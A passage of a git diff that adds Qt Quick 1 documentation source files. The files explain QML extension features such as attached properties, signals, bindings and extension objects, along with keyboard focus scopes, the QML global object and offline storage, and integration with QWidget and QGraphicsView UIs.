+The QML snippet shown above assigns a number of properties to the \c Boy object,
+including four properties using the grouped property syntax.
+
+Grouped properties collect similar properties together into a single named
+block. Grouped properties can be used to present a nicer API to developers, and
+may also simplify the implementation of common property collections across
+different types through implementation reuse.
+
+A grouped property block is implemented as a read-only object property. The
+\c shoe property shown is declared like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/grouped/person.h 1
+
+The \c ShoeDescription type declares the properties available to the grouped
+property block - in this case the \c size, \c color, \c brand and \c price properties.
+
+Grouped property blocks may declared and accessed be recusively.
+
+\l {Extending QML - Grouped Properties Example} shows the complete code used to
+implement the \c shoe property grouping.
+
+\section1 Attached Properties
+
+\snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml 1
+
+The QML snippet shown above assigns a date to the \c rsvp property using the attached
+property syntax.
+
+Attached properties allow unrelated types to annotate other types with some
+additional properties, generally for their own use. Attached properties are
+identified through the use of the attacher type name, in the case shown
+\c BirthdayParty, as a prefix to the property name.
+
+In the example shown, \c BirthdayParty is called the attaching type, and the
+\c Boy instance the attachee object instance.
+
+For the attaching type, an attached property block is implemented as a new
+QObject derived type, called the attachment object. The properties on the
+attachment object are those that become available for use as the attached
+property block.
+
+Any QML type can become an attaching type by declaring the
+\c qmlAttachedProperties() public function and declaring that the class has
+QML_HAS_ATTACHED_PROPERTIES:
+
+\quotation
+\code
+class MyType : public QObject {
+ Q_OBJECT
+public:
+
+ ...
+
+ static AttachedPropertiesType *qmlAttachedProperties(QObject *object);
+};
+
+QML_DECLARE_TYPEINFO(MyType, QML_HAS_ATTACHED_PROPERTIES)
+\endcode
+This returns an attachment object, of type \a AttachedPropertiesType, for the
+attachee \a object instance. It is customary, though not strictly required, for
+the attachment object to be parented to \a object to prevent memory leaks.
+
+\a AttachedPropertiesType must be a QObject derived type. The properties on
+this type will be accessible through the attached properties syntax.
+
+This method will be called at most once for each attachee object instance. The
+QML engine will cache the returned instance pointer for subsequent attached
+property accesses. Consequently the attachment object may not be deleted until
+\a object is destroyed.
+\endquotation
+
+Conceptually, attached properties are a \e type exporting a set of additional
+properties that can be set on \e any other object instance. Attached properties
+cannot be limited to only attaching to a sub-set of object instances, although
+their effect may be so limited.
+
+For example, a common usage scenario is for a type to enhance the properties
+available to its children in order to gather instance specific data. Here we
+add a \c rsvp field to all the guests coming to a birthday party:
+\code
+BirthdayParty {
+ Boy { BirthdayParty.rsvp: "2009-06-01" }
+}
+\endcode
+However, as a type cannot limit the instances to which the attachment object
+must attach, the following is also allowed, even though adding a birthday party
+rsvp in this context will have no effect.
+\code
+GraduationParty {
+ Boy { BirthdayParty.rsvp: "2009-06-01" }
+}
+\endcode
+
+From C++, including the attaching type implementation, the attachment object for
+an instance can be accessed using the following method:
+
+\quotation
+\code
+template<typename T>
+QObject *qmlAttachedPropertiesObject<T>(QObject *attachee, bool create = true);
+\endcode
+This returns the attachment object attached to \a attachee by the attaching type
+\a T. If type \a T is not a valid attaching type, this method always returns 0.
+
+If \a create is true, a valid attachment object will always be returned,
+creating it if it does not already exist. If \a create is false, the attachment
+object will only be returned if it has previously been created.
+\endquotation
+
+\l {Extending QML - Attached Properties Example} shows the complete code used to
+implement the rsvp attached property.
+
+\section1 Memory Management and QVariant types
+
+It is an element's responsibility to ensure that it does not access or return
+pointers to invalid objects. QML makes the following guarentees:
+
+\list
+\o An object assigned to a QObject (or QObject-derived) pointer property will be
+valid at the time of assignment.
+
+Following assignment, it is the responsibility of the class to subsequently guard
+this pointer, either through a class specific method or the generic QPointer class.
+
+\o An object assigned to a QVariant will be valid at the time of assignment.
+
+When assigning an object to a QVariant property, QML will always use a QMetaType::QObjectStar
+typed QVariant. It is the responsibility of the class to guard the pointer. A
+general rule when writing a class that uses QVariant properties is to check the
+type of the QVariant when it is set and if the type is not handled by your class,
+reset it to an invalid variant.
+
+\o An object assigned to a QObject (or QObject-derived) list property will be
+valid at the time of assignment.
+
+Following assignment, it is the responsibility of the class to subsequently guard
+this pointer, either through a class specific method or the generic QPointer class.
+\endlist
+
+Elements should assume that any QML assigned object can be deleted at any time, and
+respond accordingly. If documented as such an element need not continue to work in
+this situation, but it must not crash.
+
+\section1 Signal Support
+
+\snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 0
+\snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 1
+
+The QML snippet shown above associates the evaluation of a JavaScript expression
+with the emission of a Qt signal.
+
+All Qt signals on a registered class become available as special "signal
+properties" within QML to which the user can assign a single JavaScript
+expression. The signal property's name is a transformed version of the Qt
+signal name: "on" is prepended, and the first letter of the signal name upper
+cased. For example, the signal used in the example above has the following
+C++ signature:
+
+\snippet examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h 0
+
+In classes with multiple signals with the same name, only the final signal
+is accessible as a signal property. Note that signals with the same name
+but different parameters cannot be distinguished.
+
+Signal parameters become accessible by name to the assigned script. An
+unnamed parameter cannot be accessed, so care should be taken to name all the
+signal parameters in the C++ class declaration. The intrinsic types
+listed in \l{Adding Types}, as well registered object types are permitted as
+signal parameter types. Using other types is not an error, but the parameter
+value will not be accessible from script.
+
+\l {Extending QML - Signal Support Example} shows the complete code used to
+implement the onPartyStarted signal property.
+
+If you want to use signals from items not created in QML, you can access their
+signals with the \l {Connections} element.
+
+Additionally, if a property is added to a C++ class, all QML elements
+based on that C++ class will have a \e{value-changed} signal handler
+for that property. The name of the signal handler is
+\e{on<Property-name>Changed}, with the first letter of the property
+name being upper case.
+
+\note The QML signal handler will always be named
+on<Property-name>Changed, regardless of the name used for the NOTIFY
+signal in C++. We recommend using <property-name>Changed() for the
+NOTIFY signal in C++.
+
+See also \l {Importing Reusable Components}
+
+\section1 Methods
+
+Slots and methods marked Q_INVOKABLE may be called as functions in QML.
+
+\snippet examples/declarative/cppextensions/referenceexamples/methods/example.qml 0
+
+In this example an invitation is added via an \c {invite()} invokable method of
+the BirthdayParty element. This function is available in QML by marking the \c {invite()}
+method with Q_INVOKABLE in the BirthdayParty class:
+
+\snippet examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h 0
+
+\l {Extending QML - Methods Example} shows the complete code used to
+implement the invite() method.
+
+The \c {invite()} method is similarly available if it is declared as a slot.
+
+\section1 Property Value Sources
+
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 0
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 1
+
+The QML snippet shown above applies a property value source to the \c announcement property.
+A property value source generates a value for a property that changes over time.
+
+Property value sources are most commonly used to do animation. Rather than
+constructing an animation object and manually setting the animation's "target"
+property, a property value source can be assigned directly to a property of any
+type and automatically set up this association.
+
+The example shown here is rather contrived: the \c announcement property of the
+\c BirthdayParty object is a string that is printed every time it is assigned and
+the \c HappyBirthdaySong value source generates the lyrics of the song
+"Happy Birthday".
+
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h 0
+
+Normally, assigning an object to a string property would not be allowed. In
+the case of a property value source, rather than assigning the object instance
+itself, the QML engine sets up an association between the value source and
+the property.
+
+Property value sources are special types that derive from the
+QDeclarativePropertyValueSource base class. This base class contains a single method,
+QDeclarativePropertyValueSource::setTarget(), that the QML engine invokes when
+associating the property value source with a property. The relevant part of
+the \c HappyBirthdaySong type declaration looks like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 0
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 1
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 2
+
+In all other respects, property value sources are regular QML types. They must
+be registered with the QML engine using the same macros as other types, and can
+contain properties, signals and methods just like other types.
+
+When a property value source object is assigned to a property, QML first tries
+to assign it normally, as though it were a regular QML type. Only if this
+assignment fails does the engine call the \l {QDeclarativePropertyValueSource::}{setTarget()} method. This allows
+the type to also be used in contexts other than just as a value source.
+
+\l {Extending QML - Property Value Source Example} shows the complete code used
+to implement the \c HappyBirthdaySong property value source.
+
+\section1 Property Binding
+
+\snippet examples/declarative/cppextensions/referenceexamples/binding/example.qml 0
+\snippet examples/declarative/cppextensions/referenceexamples/binding/example.qml 1
+
+The QML snippet shown above uses a property binding to ensure the
+\c HappyBirthdaySong's \c name property remains up to date with the \c host.
+
+Property binding is a core feature of QML. In addition to assigning literal
+values, property bindings allow the developer to assign an arbitrarily complex
+JavaScript expression that may include dependencies on other property values.
+Whenever the expression's result changes - through a change in one of its
+constituent values - the expression is automatically reevaluated and
+the new result assigned to the property.
+
+All properties on custom types automatically support property binding. However,
+for binding to work correctly, QML must be able to reliably determine when a
+property has changed so that it knows to reevaluate any bindings that depend on
+the property's value. QML relies on the presence of a
+\l {Qt's Property System}{NOTIFY signal} for this determination.
+
+Here is the \c host property declaration:
+
+\snippet examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h 0
+
+The NOTIFY attribute is followed by a signal name. It is the responsibility of
+the class implementer to ensure that whenever the property's value changes, the
+NOTIFY signal is emitted. The signature of the NOTIFY signal is not important to QML.
+
+To prevent loops or excessive evaluation, developers should ensure that the
+signal is only emitted whenever the property's value is actually changed. If
+a property, or group of properties, is infrequently used it is permitted to use
+the same NOTIFY signal for several properties. This should be done with care to
+ensure that performance doesn't suffer.
+
+To keep QML reliable, if a property does not have a NOTIFY signal, it cannot be
+used in a binding expression. However, the property can still be assigned
+a binding as QML does not need to monitor the property for change in that
+scenario.
+
+Consider a custom type, \c TestElement, that has two properties, "a" and "b".
+Property "a" does not have a NOTIFY signal, and property "b" does have a NOTIFY
+signal.
+
+\code
+TestElement {
+ // This is OK
+ a: b
+}
+TestElement {
+ // Will NOT work
+ b: a
+}
+\endcode
+
+The presence of a NOTIFY signal does incur a small overhead. There are cases
+where a property's value is set at object construction time, and does not
+subsequently change. The most common case of this is when a type uses
+\l {Grouped Properties}, and the grouped property object is allocated once, and
+only freed when the object is deleted. In these cases, the CONSTANT attribute
+may be added to the property declaration instead of a NOTIFY signal.
+
+\snippet examples/declarative/cppextensions/referenceexamples/binding/person.h 0
+
+Extreme care must be taken here or applications using your type may misbehave.
+The CONSTANT attribute should only be used for properties whose value is set,
+and finalized, only in the class constructor. All other properties that want
+to be used in bindings should have a NOTIFY signal instead.
+
+\l {Extending QML - Binding Example} shows the BirthdayParty example updated to
+include NOTIFY signals for use in binding.
+
+\section1 Extension Objects
+
+\snippet examples/declarative/cppextensions/referenceexamples/extended/example.qml 0
+
+The QML snippet shown above adds a new property to an existing C++ type without
+modifying its source code.
+
+When integrating existing classes and technology into QML, their APIs will often
+need to be tweaked to fit better into the declarative environment. Although
+the best results are usually obtained by modifying the original classes
+directly, if this is either not possible or is complicated by some other
+concerns, extension objects allow limited extension possibilities without
+direct modifications.
+
+Extension objects are used to add additional properties to an existing type.
+Extension objects can only add properties, not signals or methods. An extended
+type definition allows the programmer to supply an additional type - known as the
+extension type - when registering the target class whose properties are
+transparently merged with the original target class when used from within QML.
+
+An extension class is a regular QObject, with a constructor that takes a QObject
+pointer. When needed (extension class creation is delayed until the first extended
+property is accessed) the extension class is created and the target object is
+passed in as the parent. When an extended property on the original is accessed,
+the appropriate property on the extension object is used instead.
+
+When an extended type is installed, one of the
+\code
+template<typename T, typename ExtendedT>
+int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+
+template<typename T, typename ExtendedT>
+int qmlRegisterExtendedType()
+\endcode
+functions should be used instead of the regular \c qmlRegisterType() variations.
+The arguments are identical to the corresponding non-extension registration functions,
+except for the ExtendedT parameter which is the type
+of the extension object.
+
+\section1 Optimization
+
+Often to develop high performance elements it is helpful to know more about the
+status of the QML engine. For example, it might be beneficial to delay
+initializing some costly data structures until after all the properties have been
+set.
+
+The QML engine defines an interface class called QDeclarativeParserStatus, which contains a
+number of virtual methods that are invoked at various stages during component
+instantiation. To receive these notifications, an element implementation inherits
+QDeclarativeParserStatus and notifies the Qt meta system using the Q_INTERFACES() macro.
+
+For example,
+
+\code
+class Example : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativeParserStatus)
+public:
+ virtual void componentComplete()
+ {
+ qDebug() << "Woohoo! Now to do my costly initialization";
+ }
+};
+\endcode
+*/
diff --git a/doc/src/qtquick1/focus.qdoc b/doc/src/qtquick1/focus.qdoc
new file mode 100644
index 0000000000..d75bd11a36
--- /dev/null
+++ b/doc/src/qtquick1/focus.qdoc
@@ -0,0 +1,210 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\target qmlfocus
+\page qdeclarativefocus.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML Text Handling and Validators}{Text Handling and Validators}
+\nextpage {QML Signal and Handler Event System}{Signal and Handler Event System}
+
+\title Keyboard Focus in QML
+
+When a key is pressed or released, a key event is generated and delivered to the
+focused QML \l Item. To facilitate the construction of reusable components
+and to address some of the cases unique to fluid user interfaces, the QML items add aged
+\e scope based extension to Qt's traditional keyboard focus model.
+
+\tableofcontents
+
+\section1 Key Handling Overview
+
+When the user presses or releases a key, the following occurs:
+\list 1
+\o Qt receives the key action and generates a key event.
+\o If the Qt widget containing the \l QDeclarativeView has focus, the key event
+is delivered to it. Otherwise, regular Qt key handling continues.
+\o The key event is delivered by the scene to the QML \l Item with
+\e {active focus}. If no Item has active focus, the key event is
+\l {QEvent::ignore()}{ignored} and regular Qt key handling continues.
+\o If the QML Item with active focus accepts the key event, propagation
+stops. Otherwise the event is "bubbled up", by recursively passing it to each
+Item's parent until either the event is accepted, or the root Item is reached.
+
+If the \c {Rectangle} element in the following example has active focus and the \c A key is pressed,
+it will bubble up to its parent. However, pressing the \c B key will bubble up to the root
+item and thus subsequently be ignored.
+
+\snippet doc/src/snippets/declarative/focus/rectangle.qml simple key event
+\snippet doc/src/snippets/declarative/focus/rectangle.qml simple key event end
+
+\o If the root \l Item is reached, the key event is \l {QEvent::ignore()}{ignored} and regular Qt key handling continues.
+
+\endlist
+
+See also the \l {Keys}{Keys attached property} and \l {KeyNavigation}{KeyNavigation attached property}.
+
+\section1 Querying the Active Focus Item
+
+Whether or not an \l Item has active focus can be queried through the
+property \c {Item::activeFocus} property. For example, here we have a \l Text
+element whose text is determined by whether or not it has active focus.
+
+\snippet doc/src/snippets/declarative/focus/rectangle.qml active focus
+
+\section1 Acquiring Focus and Focus Scopes
+
+An \l Item requests focus by setting the \c focus property to \c true.
+
+For very simple cases simply setting the \c focus property is sometimes
+sufficient. If we run the following example with the \l {QML Viewer}, we see that
+the \c {keyHandler} element has active focus and pressing the \c A, \c B,
+or \c C keys modifies the text appropriately.
+
+\snippet doc/src/snippets/declarative/focus/basicwidget.qml focus true
+
+\image declarative-qmlfocus1.png
+
+However, were the above example to be used as a reusable or imported component,
+this simple use of the \c focus property is no longer sufficient.
+
+To demonstrate, we create two instances of our previously defined component and
+set the first one to have focus. The intention is that when the \c A, \c B, or
+\c C keys are pressed, the first of the two components receives the event and
+responds accordingly.
+
+The code that imports and creates two MyWidget instances:
+\snippet doc/src/snippets/declarative/focus/widget.qml window
+
+The MyWidget code:
+\snippet doc/src/snippets/declarative/focus/mywidget.qml mywidget
+
+We would like to have the first MyWidget object to have the focus by setting its
+\c focus property to \c true. However, by running the code, we can confirm that
+the second widget receives the focus.
+
+\image declarative-qmlfocus2.png
+
+Looking at both \c MyWidget and \c window code, the problem is evident - there
+are three elements that set the \c focus property set to \c true. The two
+MyWidget sets the \c focus to \c true and the \c window component also sets the
+focus. Ultimately, only one element can have keyboard focus, and the system has
+to decide which element receives the focus. When the second MyWidget is created,
+it receives the focus because it is the last element to set its \c focus
+property to \c true.
+
+This problem is due to visibility. The \c MyWidget component would like to have
+the focus, but it cannot control the focus when it is imported or reused.
+Likewise, the \c window component does not have the ability to know if its
+imported components are requesting the focus.
+
+To solve this problem, the QML introduces a concept known as a \e {focus scope}.
+For existing Qt users, a focus scope is like an automatic focus proxy.
+A focus scope is created by declaring the \l FocusScope element.
+
+In the next example, a \l FocusScope element is added to the component, and the
+visual result shown.
+
+\snippet doc/src/snippets/declarative/focus/myfocusscopewidget.qml widget in focusscope
+
+\image declarative-qmlfocus3.png
+
+
+Conceptually \e {focus scopes} are quite simple.
+\list
+\o Within each focus scope one element may have \c {Item::focus} set to
+\c true. If more than one \l Item has the \c focus property set, the
+last element to set the \c focus will have the focus and the others are unset,
+similar to when there are no focus scopes.
+\o When a focus scope receives active focus, the contained element with
+\c focus set (if any) also gets the active focus. If this element is
+also a \l FocusScope, the proxying behavior continues. Both the
+focus scope and the sub-focused item will have \c activeFocus property set.
+\endlist
+
+Note that, since the FocusScope element is not a visual element, the properties
+of its children need to be exposed to the parent item of the FocusScope. Layouts
+and positioning elements will use these visual and styling properties to create
+the layout. In our example, the \c Column element cannot display the two widgets
+properly because the FocusScope lacks visual properties of its own. The MyWidget
+component directly binds to the \c rectangle properties to allow the \c Column
+element to create the layout containing the children of the FocusScope.
+
+So far, the example has the second component statically selected. It is trivial
+now to extend this component to make it clickable, and add it to the original
+application. We still set one of the widgets as focused by default.
+Now, clicking either MyClickableWidget gives it focus and the other widget
+loses the focus.
+
+The code that imports and creates two MyClickableWidget instances:
+\snippet doc/src/snippets/declarative/focus/clickablewidget.qml clickable window
+
+The MyClickableWidget code:
+\snippet doc/src/snippets/declarative/focus/myclickablewidget.qml clickable in focusscope
+
+\image declarative-qmlfocus4.png
+
+When a QML \l Item explicitly relinquishes focus (by setting its
+\c focus property to \c false while it has active focus), the
+system does not automatically select another element to receive focus. That is,
+it is possible for there to be no currently active focus.
+
+See the \l{declarative/keyinteraction/focus}{Keyboard Focus example} for a
+demonstration of moving keyboard focus between multiple areas using FocusScope
+elements.
+
+\section1 Advanced uses of Focus Scopes
+
+Focus scopes allow focus to allocation to be easily partitioned. Several
+QML items use it to this effect.
+
+\l ListView, for example, is itself a focus scope. Generally this isn't
+noticeable as \l ListView doesn't usually have manually added visual children.
+By being a focus scope, \l ListView can focus the current list item without
+worrying about how that will effect the rest of the application. This allows the
+current item delegate to react to key presses.
+
+This contrived example shows how this works. Pressing the \c Return key will
+print the name of the current list item.
+
+\snippet doc/src/snippets/declarative/focus/advancedFocus.qml FocusScope delegate
+
+\image declarative-qmlfocus5.png
+
+While the example is simple, there are a lot going on behind the scenes. Whenever
+the current item changes, the \l ListView sets the delegate's \c {Item::focus}
+property. As the \l ListView is a focus scope, this doesn't affect the
+rest of the application. However, if the \l ListView itself has
+active focus this causes the delegate itself to receive active focus.
+In this example, the root element of the delegate is also a focus scope,
+which in turn gives active focus to the \c {Text} element that actually performs
+the work of handling the \c {Return} key.
+
+All of the QML view classes, such as \l PathView and \l GridView, behave
+in a similar manner to allow key handling in their respective delegates.
+*/
diff --git a/doc/src/qtquick1/globalobject.qdoc b/doc/src/qtquick1/globalobject.qdoc
new file mode 100644
index 0000000000..4b8b538a65
--- /dev/null
+++ b/doc/src/qtquick1/globalobject.qdoc
@@ -0,0 +1,209 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeglobalobject.html
+\title QML Global Object
+
+Contains all the properties of the JavaScript global object, plus:
+
+\tableofcontents
+
+\section1 Qt Object
+
+The \l{QmlGlobalQtObject}{Qt object} provides useful enums and functions from Qt, for use in all QML
+files.
+
+\section1 XMLHttpRequest
+
+\target XMLHttpRequest
+
+QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain
+data from over a network.
+
+The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard}
+as many popular web browsers with following exceptions:
+\list
+\i QML's XMLHttpRequest does not enforce the same origin policy.
+\i QML's XMLHttpRequest does not support \e synchronous requests.
+\endlist
+
+Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset
+of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web
+browser. The following objects and properties are supported by the QML implementation:
+
+\table
+\header
+\o \bold {Node}
+\o \bold {Document}
+\o \bold {Element}
+\o \bold {Attr}
+\o \bold {CharacterData}
+\o \bold {Text}
+
+\row
+\o
+\list
+\o nodeName
+\o nodeValue
+\o nodeType
+\o parentNode
+\o childNodes
+\o firstChild
+\o lastChild
+\o previousSibling
+\o nextSibling
+\o attributes
+\endlist
+
+\o
+\list
+\o xmlVersion
+\o xmlEncoding
+\o xmlStandalone
+\o documentElement
+\endlist
+
+\o
+\list
+\o tagName
+\endlist
+
+\o
+\list
+\o name
+\o value
+\o ownerElement
+\endlist
+
+\o
+\list
+\o data
+\o length
+\endlist
+
+\o
+\list
+\o isElementContentWhitespace
+\o wholeText
+\endlist
+
+\endtable
+
+The \l{declarative/xml/xmlhttprequest}{XMLHttpRequest example} demonstrates how to
+use the XMLHttpRequest object to make a request and read the response headers.
+
+\section1 Offline Storage API
+
+\section2 Database API
+
+The \c openDatabaseSync() and related functions
+provide the ability to access local offline storage in an SQL database.
+
+These databases are user-specific and QML-specific, but accessible to all QML applications.
+They are stored in the \c Databases subdirectory
+of QDeclarativeEngine::offlineStoragePath(), currently as SQLite databases.
+
+Database connections are automatically closed during Javascript garbage collection.
+
+The API can be used from JavaScript functions in your QML:
+
+\snippet declarative/sqllocalstorage/hello.qml 0
+
+The API conforms to the Synchronous API of the HTML5 Web Database API,
+\link http://www.w3.org/TR/2009/WD-webdatabase-20091029/ W3C Working Draft 29 October 2009\endlink.
+
+The \l{declarative/sqllocalstorage}{SQL Local Storage example} demonstrates the basics of
+using the Offline Storage API.
+
+\section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db))
+
+Returns the database identified by \e identifier. If the database does not already exist, it
+is created, and the function \e callback is called with the database as a parameter. \e description
+and \e estimated_size are written to the INI file (described below), but are otherwise currently
+unused.
+
+May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR.
+
+When a database is first created, an INI file is also created specifying its characteristics:
+
+\table
+\header \o \bold {Key} \o \bold {Value}
+\row \o Name \o The name of the database passed to \c openDatabase()
+\row \o Version \o The version of the database passed to \c openDatabase()
+\row \o Description \o The description of the database passed to \c openDatabase()
+\row \o EstimatedSize \o The estimated size (in bytes) of the database passed to \c openDatabase()
+\row \o Driver \o Currently "QSQLITE"
+\endtable
+
+This data can be used by application tools.
+
+\section3 db.changeVersion(from, to, callback(tx))
+
+This method allows you to perform a \e{Scheme Upgrade}.
+
+If the current version of \e db is not \e from, then an exception is thrown.
+
+Otherwise, a database transaction is created and passed to \e callback. In this function,
+you can call \e executeSql on \e tx to upgrade the database.
+
+May throw exception with code property SQLException.DATABASE_ERR or SQLException.UNKNOWN_ERR.
+
+\section3 db.transaction(callback(tx))
+
+This method creates a read/write transaction and passed to \e callback. In this function,
+you can call \e executeSql on \e tx to read and modify the database.
+
+If the callback throws exceptions, the transaction is rolled back.
+
+\section3 db.readTransaction(callback(tx))
+
+This method creates a read-only transaction and passed to \e callback. In this function,
+you can call \e executeSql on \e tx to read the database (with SELECT statements).
+
+\section3 results = tx.executeSql(statement, values)
+
+This method executes a SQL \e statement, binding the list of \e values to SQL positional parameters ("?").
+
+It returns a results object, with the following properties:
+
+\table
+\header \o \bold {Type} \o \bold {Property} \o \bold {Value} \o \bold {Applicability}
+\row \o int \o rows.length \o The number of rows in the result \o SELECT
+\row \o var \o rows.item(i) \o Function that returns row \e i of the result \o SELECT
+\row \o int \o rowsAffected \o The number of rows affected by a modification \o UPDATE, DELETE
+\row \o string \o insertId \o The id of the row inserted \o INSERT
+\endtable
+
+May throw exception with code property SQLException.DATABASE_ERR, SQLException.SYNTAX_ERR, or SQLException.UNKNOWN_ERR.
+
+\section1 Logging
+
+\c console.log() and \c console.debug() can be used to print information
+to the console. See \l{Debugging QML} for more information.
+
+*/
diff --git a/doc/src/qtquick1/integrating.qdoc b/doc/src/qtquick1/integrating.qdoc
new file mode 100644
index 0000000000..afca37dd48
--- /dev/null
+++ b/doc/src/qtquick1/integrating.qdoc
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-integration.html
+\ingroup qml-features
+\previouspage {Using QML Bindings in C++ Applications}
+\nextpage {Dynamic Object Management in QML}{Dynamic Object Management}
+\contentspage QML Features
+\title Integrating QML Code with Existing Qt UI Code
+
+There are a number of ways to integrate QML into QWidget-based UI applications,
+depending on the characteristics of your existing UI code.
+
+
+\section1 Integrating with a \l{QWidget}-based UI
+
+If you have an existing QWidget-based UI, QML widgets can be integrated into
+it using QDeclarativeView. QDeclarativeView is a subclass of QWidget so you
+can add it to your user interface like any other QWidget. Use
+QDeclarativeView::setSource() to load a QML file into the view, then add the
+view to your UI:
+
+\code
+QDeclarativeView *qmlView = new QDeclarativeView;
+qmlView->setSource(QUrl::fromLocalFile("myqml.qml"));
+
+QWidget *widget = myExistingWidget();
+QVBoxLayout *layout = new QVBoxLayout(widget);
+layout->addWidget(qmlView);
+\endcode
+
+The one drawback to this approach is that QDeclarativeView is slower to initialize
+and uses more memory than a QWidget, and creating large numbers of QDeclarativeView
+objects may lead to performance degradation. If this is the case, it may be
+better to rewrite your widgets in QML, and load the widgets from a main QML widget
+instead of using QDeclarativeView.
+
+Keep in mind that QWidgets were designed for a different type of user interface
+than QML, so it is not always a good idea to port a QWidget-based application to
+QML. QWidgets are a better choice if your UI is comprised of a small number of
+complex and static elements, and QML is a better choice if your UI is comprised of a large number
+of simple and dynamic elements.
+
+
+\section1 Integrating with a QGraphicsView-based UI
+
+\section2 Adding QML widgets to a QGraphicsScene
+
+If you have an existing UI based on the \l{Graphics View Framework},
+you can integrate QML widgets directly into your QGraphicsScene. Use
+QDeclarativeComponent to create a QGraphicsObject from a QML file, and
+place the graphics object into your scene using \l{QGraphicsScene::addItem()}, or
+reparent it to an item already in the \l{QGraphicsScene}.
+
+For example:
+
+\code
+QGraphicsScene* scene = myExistingGraphicsScene();
+QDeclarativeEngine *engine = new QDeclarativeEngine;
+QDeclarativeComponent component(engine, QUrl::fromLocalFile("myqml.qml"));
+QGraphicsObject *object =
+ qobject_cast<QGraphicsObject *>(component.create());
+scene->addItem(object);
+\endcode
+
+The following QGraphicsView options are recommended for optimal performance
+of QML UIs:
+
+\list
+\o QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState)
+\o QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate)
+\o QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex)
+\endlist
+
+\section2 Loading QGraphicsWidget objects in QML
+
+An alternative approach is to expose your existing QGraphicsWidget objects to
+QML and construct your scene in QML instead. See the \l {declarative-cppextensions-qgraphicslayouts.html}{graphics layouts example}
+which shows how to expose Qt's graphics layout classes to QML in order
+to use QGraphicsWidget with classes like QGraphicsLinearLayout and QGraphicsGridLayout.
+
+To expose your existing QGraphicsWidget classes to QML, use \l {qmlRegisterType()}.
+See \l{Extending QML Functionalities using C++} for further information on
+how to use C++ types in QML.
+
+*/
diff --git a/doc/src/qtquick1/javascriptblocks.qdoc b/doc/src/qtquick1/javascriptblocks.qdoc
new file mode 100644
index 0000000000..01d0d45a2d
--- /dev/null
+++ b/doc/src/qtquick1/javascriptblocks.qdoc
@@ -0,0 +1,553 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativejavascript.html
+\title Integrating JavaScript
+
+QML encourages building UIs declaratively, using \l {Property Binding} and the
